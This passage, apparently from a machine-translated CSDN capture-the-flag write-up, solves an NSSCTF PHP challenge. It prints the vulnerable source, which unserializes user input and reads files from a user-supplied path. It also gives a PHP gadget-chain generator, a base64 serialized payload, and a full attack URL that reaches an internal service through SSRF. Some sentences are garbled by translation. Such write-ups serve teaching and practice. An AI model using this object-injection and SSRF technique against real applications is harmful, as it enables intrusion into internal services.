            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
    
    
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
    
    
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
    
    
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
    
    
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
    
    
        highlight_file(__FILE__);
    }else{
    
    
        if(isset($_GET['image_path'])){
    
    
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
    
    
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
    
    
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
    
    
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
    
    
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?> 

この段落からわかるように、クエリされたファイルはfile_get_contents()関数を通じて Base64 エンコード形式で出力されるので、見てみることができます。flag.php

画像-20230829205809738

デコードして取得します

<?php

$a = "good job,but there is no flag

i put my flag in intranet(127.0.0.1:65500)

outsider have no permissions to get it

if you want it,then you have to take it

but you already knew the rules

try it";

?>

この質問のエントリ ポイントはメソッドにありますFileViewerコマンドloadfile()を実装するコードがあります。の内容によると、次のことができます。curlflag.phpcurl 127.0.0.1:65500/flag

画像-20230830000013424

関数をトリガーするには、loadfile()まずマジック メソッドFileViewerをトリガーする必要があります。__call()

__call(): オブジェクトコンテキストでアクセスできないメソッドが呼び出されたときにトリガーされます。

画像-20230830001752370

次に、マジック メソッドをトリガーする方法を確認すると、マジックメソッドが存在しないメソッドにアクセスしていること__call()がわかります。Backdoor__destruct()c()

__destruct(): オブジェクトが破棄されるとトリガーされます。

画像-20230830001953229

goodmanただし、その前に、まず再割り当てするメソッドを入力し、$aクラス内の属性$b、つまりBackdoorをクラスに再割り当てします。$superhacker

ここでまだ解決されていないチェーン構築の最も重要な点は、curlパスを設定してコードを監査することです。

$file = $this->curl($this->local.$this->path);

中性化によってcurlパスFileViewerが決まることがわかるので、変数を介して新しいオブジェクトを作成できます。localpath$aFileViewer

black_listexp を構築するとき、フィルタリングされないように値を変更できますflag。結局、通常の一致はフィルタリングされ、トリガーのunserialize前に Base64 デコードが実行されることに注意してください。

構築経験値

<?php
class FileViewer{
    
    
    public $black_list;
    public $local;
    public $path;
    public function __construct()
    {
    
    
        $this->black_list="web so difficult~";
        $this->local='take it easy';
        $this->path="flag";
    }
}
class Backdoor{
    
    
    public $a;
    public $b;
    public $superhacker;
    public function __construct()
    {
    
    
        $this->a=new FileViewer();
        $this->b="local";
        $this->superhacker="127.0.0.1:65500/";
    }
}

$a=new Backdoor();
$b=new FileViewer();
$b->local=$a;
echo base64_encode(serialize($b))
?>

ここで構築中に落とし穴があって、最初はオブジェクトが一つしか作成されていなかったのでBackdoorそのBackdoor中にインクルードしていたのですFileViewerが、デシリアライズ後はloadfile実行した関数に対してクラスしか存在しなかったのでインクルードしFileViewerなければならなかったのです。FileViewerBackdoor

ビルドを実行する

TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

path_info受け渡しパラメータを使用する

ペイロードを構築します。

http://node5.anna.nssctf.cn:28686/?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

フラグを取得

画像-20230830013157373

Base64デコード後にフラグを取得

おすすめ

転載: blog.csdn.net/Leaf_initial/article/details/132592982